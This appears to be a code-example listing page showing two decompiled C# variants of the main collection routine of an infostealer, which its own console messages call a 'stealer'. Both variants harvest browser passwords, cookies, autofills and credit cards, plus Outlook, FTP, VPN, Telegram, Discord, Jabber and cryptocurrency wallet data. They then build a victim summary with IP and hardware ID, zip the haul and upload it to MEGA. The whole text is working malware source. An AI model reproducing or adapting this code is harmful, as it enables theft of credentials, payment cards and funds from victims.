예제 #1
0
        // Token: 0x06000006 RID: 6 RVA: 0x000022D4 File Offset: 0x000004D4
        public static void GetCollection()
        {
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals1 = new Collection.< > c__DisplayClass2_0();
            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("Если вы это видите, значит запуск происходит в консольном режиме. Не забудьте перекомпилировать стиллер как 'Приложение Windows'.");
            Console.WriteLine("If you see this, then the launch is in console mode. Do not forget to recompile the stealer as a 'Windows application'.");
            try
            {
                Directory.CreateDirectory(Help.collectionDir);
                Directory.CreateDirectory(Help.Browsers);
                Directory.CreateDirectory(Help.Passwords);
                Directory.CreateDirectory(Help.Autofills);
                Directory.CreateDirectory(Help.Downloads);
                Directory.CreateDirectory(Help.Cookies);
                Directory.CreateDirectory(Help.History);
                Directory.CreateDirectory(Help.Cards);
            }
            catch
            {
            }
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals2 = CS$ < > 8__locals1;
            Task[] array = new Task[1];
            array[0] = new Task(delegate()
            {
                Files.GetFiles(Help.collectionDir);
            });
            CS$ < > 8__locals2.t0 = array;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals3 = CS$ < > 8__locals1;
            Task[] array2 = new Task[1];
            array2[0] = new Task(delegate()
            {
                Collection.GetChromium();
            });
            CS$ < > 8__locals3.t1 = array2;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals4 = CS$ < > 8__locals1;
            Task[] array3 = new Task[1];
            array3[0] = new Task(delegate()
            {
                Collection.GetGecko();
            });
            CS$ < > 8__locals4.t2 = array3;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals5 = CS$ < > 8__locals1;
            Task[] array4 = new Task[1];
            array4[0] = new Task(delegate()
            {
                Edge.GetEdge(Help.Passwords);
            });
            CS$ < > 8__locals5.t3 = array4;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals6 = CS$ < > 8__locals1;
            Task[] array5 = new Task[1];
            array5[0] = new Task(delegate()
            {
                Outlook.GrabOutlook(Help.collectionDir);
            });
            CS$ < > 8__locals6.t4 = array5;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals7 = CS$ < > 8__locals1;
            Task[] array6 = new Task[1];
            array6[0] = new Task(delegate()
            {
                FileZilla.GetFileZilla(Help.collectionDir);
            });
            CS$ < > 8__locals7.t5 = array6;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals8 = CS$ < > 8__locals1;
            Task[] array7 = new Task[1];
            array7[0] = new Task(delegate()
            {
                TotalCommander.GetTotalCommander(Help.collectionDir);
            });
            CS$ < > 8__locals8.t6 = array7;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals9 = CS$ < > 8__locals1;
            Task[] array8 = new Task[1];
            array8[0] = new Task(delegate()
            {
                ProtonVPN.GetProtonVPN(Help.collectionDir);
            });
            CS$ < > 8__locals9.t7 = array8;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals10 = CS$ < > 8__locals1;
            Task[] array9 = new Task[1];
            array9[0] = new Task(delegate()
            {
                OpenVPN.GetOpenVPN(Help.collectionDir);
            });
            CS$ < > 8__locals10.t8 = array9;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals11 = CS$ < > 8__locals1;
            Task[] array10 = new Task[1];
            array10[0] = new Task(delegate()
            {
                NordVPN.GetNordVPN(Help.collectionDir);
            });
            CS$ < > 8__locals11.t9 = array10;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals12 = CS$ < > 8__locals1;
            Task[] array11 = new Task[1];
            array11[0] = new Task(delegate()
            {
                Telegram.GetTelegram(Help.collectionDir);
            });
            CS$ < > 8__locals12.t10 = array11;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals13 = CS$ < > 8__locals1;
            Task[] array12 = new Task[1];
            array12[0] = new Task(delegate()
            {
                Discord.GetDiscord(Help.collectionDir);
            });
            CS$ < > 8__locals13.t11 = array12;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals14 = CS$ < > 8__locals1;
            Task[] array13 = new Task[1];
            array13[0] = new Task(delegate()
            {
                Wallets.GetWallets(Help.collectionDir);
            });
            CS$ < > 8__locals14.t12 = array13;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals15 = CS$ < > 8__locals1;
            Task[] array14 = new Task[1];
            array14[0] = new Task(delegate()
            {
                Systemsinfo.GetSystemsData(Help.collectionDir);
            });
            CS$ < > 8__locals15.t13 = array14;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals16 = CS$ < > 8__locals1;
            Task[] array15 = new Task[1];
            array15[0] = new Task(delegate()
            {
                DomainDetect.GetDomainDetect(Help.Browsers);
            });
            CS$ < > 8__locals16.t14 = array15;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals17 = CS$ < > 8__locals1;
            Task[] array16 = new Task[1];
            array16[0] = new Task(delegate()
            {
                Dec.Decrypt(Help.Passwords);
            });
            CS$ < > 8__locals17.t15 = array16;
            try
            {
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t0;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t1;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t2;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t3;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t4;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t5;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t6;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t7;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t8;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t9;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t10;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t11;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t12;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t13;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t14;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t15;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                Task.WaitAll(CS$ < > 8__locals1.t0);
                Task.WaitAll(CS$ < > 8__locals1.t1);
                Task.WaitAll(CS$ < > 8__locals1.t2);
                Task.WaitAll(CS$ < > 8__locals1.t3);
                Task.WaitAll(CS$ < > 8__locals1.t4);
                Task.WaitAll(CS$ < > 8__locals1.t5);
                Task.WaitAll(CS$ < > 8__locals1.t6);
                Task.WaitAll(CS$ < > 8__locals1.t7);
                Task.WaitAll(CS$ < > 8__locals1.t8);
                Task.WaitAll(CS$ < > 8__locals1.t9);
                Task.WaitAll(CS$ < > 8__locals1.t10);
                Task.WaitAll(CS$ < > 8__locals1.t11);
                Task.WaitAll(CS$ < > 8__locals1.t12);
                Task.WaitAll(CS$ < > 8__locals1.t13);
                Task.WaitAll(CS$ < > 8__locals1.t14);
                Task.WaitAll(CS$ < > 8__locals1.t15);
            }
            catch
            {
            }
            string contents = string.Concat(new string[]
            {
                JsonValue.buildversion,
                "\n\ud83d\udc64 ",
                Help.machineName,
                "/",
                Help.userName,
                "\n\ud83c\udff4 IP: ",
                Help.IP(),
                Help.Country(),
                "\n\ud83c\udf10 Browsers Data\n   ∟\ud83d\udd11\n     ∟Chromium v1: ",
                Chromium.Passwords.ToString(),
                "\n     ∟Chromium v2: ",
                Dec.colvo.ToString(),
                "\n     ∟Edge: ",
                Edge.count.ToString(),
                "\n     ∟Gecko: ",
                Steal.count.ToString(),
                "\n   ∟\ud83c\udf6a",
                (Chromium.Cookies + Steal.count_cookies).ToString(),
                "\n   ∟\ud83d\udd51",
                Chromium.History.ToString(),
                "\n   ∟\ud83d\udcdd",
                Chromium.Autofills.ToString(),
                "\n   ∟\ud83d\udcb3",
                Chromium.CC.ToString(),
                "\n   ∟⨭",
                Chromium.Downloads.ToString(),
                "\n\ud83d\udcb6 Wallets: ",
                (Wallets.count > 0) ? "✅" : "❌",
                (Electrum.count > 0) ? " Electrum" : "",
                (Armory.count > 0) ? " Armory" : "",
                (AtomicWallet.count > 0) ? " Atomic" : "",
                (BitcoinCore.count > 0) ? " BitcoinCore" : "",
                (Bytecoin.count > 0) ? " Bytecoin" : "",
                (DashCore.count > 0) ? " DashCore" : "",
                (Ethereum.count > 0) ? " Ethereum" : "",
                (Exodus.count > 0) ? " Exodus" : "",
                (LitecoinCore.count > 0) ? " LitecoinCore" : "",
                (Monero.count > 0) ? " Monero" : "",
                (Zcash.count > 0) ? " Zcash" : "",
                (Jaxx.count > 0) ? " Jaxx" : "",
                "\n\ud83d\udcc2 FileGrabber: ",
                Files.count.ToString(),
                "\n\ud83d\udcac Discord: ",
                (Discord.count > 0) ? "✅" : "❌",
                "\n✈️ Telegram: ",
                (Telegram.count > 0) ? "✅" : "❌",
                "\n\ud83d\udca1 Jabber: ",
                (Startjabbers.count + Pidgin.PidginCount > 0) ? "✅" : "❌",
                (Pidgin.PidginCount > 0) ? (" Pidgin (" + Pidgin.PidginAkks.ToString() + ")") : "",
                (Startjabbers.count > 0) ? " Psi" : "",
                "\n\ud83d\udce1 FTP\n   ∟ FileZilla: ",
                (FileZilla.count > 0) ? ("✅ (" + FileZilla.count.ToString() + ")") : "❌",
                "\n   ∟ TotalCmd: ",
                (TotalCommander.count > 0) ? "✅" : "❌",
                "\n\ud83d\udd0c VPN\n   ∟ NordVPN: ",
                (NordVPN.count > 0) ? "✅" : "❌",
                "\n   ∟ OpenVPN: ",
                (OpenVPN.count > 0) ? "✅" : "❌",
                "\n   ∟ ProtonVPN: ",
                (ProtonVPN.count > 0) ? "✅" : "❌",
                "\n\ud83c\udd94 HWID: ",
                Help.HWID,
                "\n⚙️ ",
                Systemsinfo.GetOSInformation(),
                "\n\ud83d\udd0e ",
                File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
            });

            File.WriteAllText(Help.collectionDir + "\\InfoHERE.txt", contents);
            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine("Упаковка архива");
            string text = string.Concat(new string[]
            {
                Help.dir,
                "\\",
                Help.userName,
                "_",
                Help.machineName,
                Help.CountryCOde(),
                ".zip"
            });

            using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866")))
            {
                zipFile.ParallelDeflateThreshold = -1L;
                zipFile.UseZip64WhenSaving       = Zip64Option.Always;
                zipFile.CompressionLevel         = CompressionLevel.Default;
                zipFile.Password = Program.passwordzip;
                zipFile.AddDirectory(Help.collectionDir);
                try
                {
                    zipFile.Save(text);
                }
                catch
                {
                    text = Help.dir + "\\" + Help.HWID + ".zip";
                    zipFile.Save(text);
                }
            }
            Console.WriteLine("Залив на мегу");
            MegaSend.Send(text);
            Clean.GetClean();
        }
예제 #2
0
        // Token: 0x0600000B RID: 11 RVA: 0x000188F8 File Offset: 0x00016AF8
        public static void GetCollection()
        {
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals1 = new Collection.< > c__DisplayClass2_0();
            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("Если вы это видите, значит запуск происходит в консольном режиме. Не забудьте перекомпилировать стиллер как 'Приложение Windows'.");
            Console.WriteLine("If you see this, then the launch is in console mode. Do not forget to recompile the stealer as a 'Windows application'.");
            try
            {
                Directory.CreateDirectory(Help.collectionDir);
                Directory.CreateDirectory(Help.Browsers);
                Directory.CreateDirectory(Help.Passwords);
                Directory.CreateDirectory(Help.Autofills);
                Directory.CreateDirectory(Help.Downloads);
                Directory.CreateDirectory(Help.Cookies);
                Directory.CreateDirectory(Help.History);
                Directory.CreateDirectory(Help.Cards);
            }
            catch
            {
            }
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals2 = CS$ < > 8__locals1;
            Task[] array = new Task[1];
            array[0] = new Task(delegate()
            {
                Start.a();
            });
            CS$ < > 8__locals2.t0 = array;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals3 = CS$ < > 8__locals1;
            Task[] array2 = new Task[1];
            array2[0] = new Task(delegate()
            {
                Collection.GetChromium();
            });
            CS$ < > 8__locals3.t1 = array2;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals4 = CS$ < > 8__locals1;
            Task[] array3 = new Task[1];
            array3[0] = new Task(delegate()
            {
                Collection.GetGecko();
            });
            CS$ < > 8__locals4.t2 = array3;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals5 = CS$ < > 8__locals1;
            Task[] array4 = new Task[1];
            array4[0] = new Task(delegate()
            {
                Edge.GetEdge(Help.Passwords);
            });
            CS$ < > 8__locals5.t3 = array4;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals6 = CS$ < > 8__locals1;
            Task[] array5 = new Task[1];
            array5[0] = new Task(delegate()
            {
                Outlook.GrabOutlook(Help.collectionDir);
            });
            CS$ < > 8__locals6.t4 = array5;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals7 = CS$ < > 8__locals1;
            Task[] array6 = new Task[1];
            array6[0] = new Task(delegate()
            {
                FileZilla.GetFileZilla(Help.collectionDir);
            });
            CS$ < > 8__locals7.t5 = array6;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals8 = CS$ < > 8__locals1;
            Task[] array7 = new Task[1];
            array7[0] = new Task(delegate()
            {
                TotalCommander.GetTotalCommander(Help.collectionDir);
            });
            CS$ < > 8__locals8.t6 = array7;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals9 = CS$ < > 8__locals1;
            Task[] array8 = new Task[1];
            array8[0] = new Task(delegate()
            {
                ProtonVPN.GetProtonVPN(Help.collectionDir);
            });
            CS$ < > 8__locals9.t7 = array8;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals10 = CS$ < > 8__locals1;
            Task[] array9 = new Task[1];
            array9[0] = new Task(delegate()
            {
                OpenVPN.GetOpenVPN(Help.collectionDir);
            });
            CS$ < > 8__locals10.t8 = array9;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals11 = CS$ < > 8__locals1;
            Task[] array10 = new Task[1];
            array10[0] = new Task(delegate()
            {
                NordVPN.GetNordVPN(Help.collectionDir);
            });
            CS$ < > 8__locals11.t9 = array10;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals12 = CS$ < > 8__locals1;
            Task[] array11 = new Task[1];
            array11[0] = new Task(delegate()
            {
                Telegram.GetTelegram(Help.collectionDir);
            });
            CS$ < > 8__locals12.t10 = array11;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals13 = CS$ < > 8__locals1;
            Task[] array12 = new Task[1];
            array12[0] = new Task(delegate()
            {
                Discord.GetDiscord(Help.collectionDir);
            });
            CS$ < > 8__locals13.t11 = array12;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals14 = CS$ < > 8__locals1;
            Task[] array13 = new Task[1];
            array13[0] = new Task(delegate()
            {
                Wallets.GetWallets(Help.collectionDir);
            });
            CS$ < > 8__locals14.t12 = array13;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals15 = CS$ < > 8__locals1;
            Task[] array14 = new Task[1];
            array14[0] = new Task(delegate()
            {
                Systemsinfo.GetSystemsData(Help.collectionDir);
            });
            CS$ < > 8__locals15.t13 = array14;
            Collection.< > c__DisplayClass2_0 CS$ < > 8__locals16 = CS$ < > 8__locals1;
            Task[] array15 = new Task[1];
            array15[0] = new Task(delegate()
            {
                Dec.Decrypt(Help.Passwords);
            });
            CS$ < > 8__locals16.t15 = array15;
            try
            {
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t0;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t1;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t2;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t3;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t4;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t5;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t6;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t7;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t8;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t9;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t10;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t11;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t12;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t13;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t15;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                Task.WaitAll(CS$ < > 8__locals1.t0);
                Task.WaitAll(CS$ < > 8__locals1.t1);
                Task.WaitAll(CS$ < > 8__locals1.t2);
                Task.WaitAll(CS$ < > 8__locals1.t3);
                Task.WaitAll(CS$ < > 8__locals1.t4);
                Task.WaitAll(CS$ < > 8__locals1.t5);
                Task.WaitAll(CS$ < > 8__locals1.t6);
                Task.WaitAll(CS$ < > 8__locals1.t7);
                Task.WaitAll(CS$ < > 8__locals1.t8);
                Task.WaitAll(CS$ < > 8__locals1.t9);
                Task.WaitAll(CS$ < > 8__locals1.t10);
                Task.WaitAll(CS$ < > 8__locals1.t11);
                Task.WaitAll(CS$ < > 8__locals1.t12);
                Task.WaitAll(CS$ < > 8__locals1.t13);
                Task.WaitAll(CS$ < > 8__locals1.t15);
            }
            catch
            {
            }
            Console.ForegroundColor = ConsoleColor.Green;
            DomainDetect.GetDomainDetect(Help.Browsers);
            Start.b();
            string contents = string.Concat(new string[]
            {
                "<!DOCTYPE html>\n<html>\n<body>\n<style>\nbody {\nbackground-image: url('https://steamcdn-a.akamaihd.net/steamcommunity/public/images/items/383690/f7a121a3f7a929ffb4dbc3ae241b3b4b6eaaed1d.jpg');\nbackground-repeat: no-repeat;\nbackground-attachment: fixed;\nbackground-size: 100% 100%;\n}\n</style>\n<center>\n<h1 style=\"color:white\">",
                JsonValue.buildversion,
                "</h1>\n<p style=\"color:white\">\ud83d\udc64 ",
                Help.machineName,
                "/",
                Help.userName,
                "</p>\n<p style=\"color:white\">\ud83c\udff4 IP: ",
                Help.IP(),
                Help.Country(),
                "</p>\n<h2 style=\"color:white\">\ud83c\udf10 Browsers Data</h2>\n<p style=\"color:white;margin-left:-6em\">   ∟\ud83d\udd11</p>\n<p style=\"color:white;margin-left:3em\">     ∟Chromium v1: ",
                Chromium.Passwords.ToString(),
                "</p>\n<p style=\"color:white;margin-left:3em\">     ∟Chromium v2: ",
                Dec.colvo.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-1.5em\">     ∟Edge: ",
                Edge.count.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-0.9em\">     ∟Gecko: ",
                Steal.count.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4em\">   ∟\ud83c\udf6a",
                (Chromium.Cookies + Steal.count_cookies).ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4em\">   ∟\ud83d\udd51",
                Chromium.History.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4.5em\">   ∟\ud83d\udcdd",
                Chromium.Autofills.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-5.5em\">   ∟\ud83d\udcb3",
                Chromium.CC.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4.8em\">   ∟⨭",
                Chromium.Downloads.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udcb6 Wallets: ",
                (Wallets.count > 0) ? "✅" : "❌",
                (Electrum.count > 0) ? " Electrum" : "",
                (Armory.count > 0) ? " Armory" : "",
                (AtomicWallet.count > 0) ? " Atomic" : "",
                (BitcoinCore.count > 0) ? " BitcoinCore" : "",
                (Bytecoin.count > 0) ? " Bytecoin" : "",
                (DashCore.count > 0) ? " DashCore" : "",
                (Ethereum.count > 0) ? " Ethereum" : "",
                (Exodus.count > 0) ? " Exodus" : "",
                (LitecoinCore.count > 0) ? " LitecoinCore" : "",
                (Monero.count > 0) ? " Monero" : "",
                (Zcash.count > 0) ? " Zcash" : "",
                (Jaxx.count > 0) ? " Jaxx" : "",
                "</p>\n<p style=\"color:white\">\ud83d\udcc2 FileGrabber: ",
                Grab.countFiles.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udcb0 Recursive Wallets: ",
                Grab.countWallets.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udda5 RDP: ",
                Grab.countRdp.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udcac Discord: ",
                (Discord.count > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">✈️ Telegram: ",
                (Telegram.count > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">\ud83d\udca1 Jabber: ",
                (Startjabbers.count + Pidgin.PidginCount > 0) ? "✅" : "❌",
                (Pidgin.PidginCount > 0) ? (" Pidgin (" + Pidgin.PidginAkks.ToString() + ")") : "",
                (Startjabbers.count > 0) ? " Psi" : "",
                "</p>\n<h2 style=\"color:white\">\ud83d\udce1 FTP</h2>\n<p style=\"color:white\">   ∟ FileZilla: ",
                (FileZilla.count > 0) ? ("✅ (" + FileZilla.count.ToString() + ")") : "❌",
                "</p>\n<p style=\"color:white\">   ∟ TotalCmd: ",
                (TotalCommander.count > 0) ? "✅" : "❌",
                "</p>\n<h2 style=\"color:white\">\ud83d\udd0c VPN</h2>\n<p style=\"color:white\">   ∟ NordVPN: ",
                (NordVPN.count > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">   ∟ OpenVPN: ",
                (OpenVPN.count > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">   ∟ ProtonVPN: ",
                (ProtonVPN.count > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">\ud83c\udd94 HWID: ",
                Help.HWID,
                "</p>\n<p style=\"color:white\">⚙️ ",
                Systemsinfo.GetOSInformation(),
                "</p>\n<p style=\"color:white\">\ud83d\udd0e ",
                File.ReadAllText(Help.Browsers + "\\DomainDetect.txt"),
                "</p>\n</center>\n</body>\n</html>"
            });

            File.WriteAllText(Help.collectionDir + "\\InfoHERE.html", contents);
            Console.WriteLine("Упаковка архива");
            string text = string.Concat(new string[]
            {
                Help.dir,
                "\\",
                Help.userName,
                "_",
                Help.machineName,
                Help.CountryCOde(),
                ".zip"
            });

            using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866")))
            {
                zipFile.ParallelDeflateThreshold = -1L;
                zipFile.UseZip64WhenSaving       = Zip64Option.Always;
                zipFile.CompressionLevel         = CompressionLevel.Default;
                zipFile.AddDirectory(Help.collectionDir);
                zipFile.Save(text);
            }
            Console.WriteLine("Залив на мегу");
            MegaSend.TaskUpl(text);
            Clean.GetClean();
        }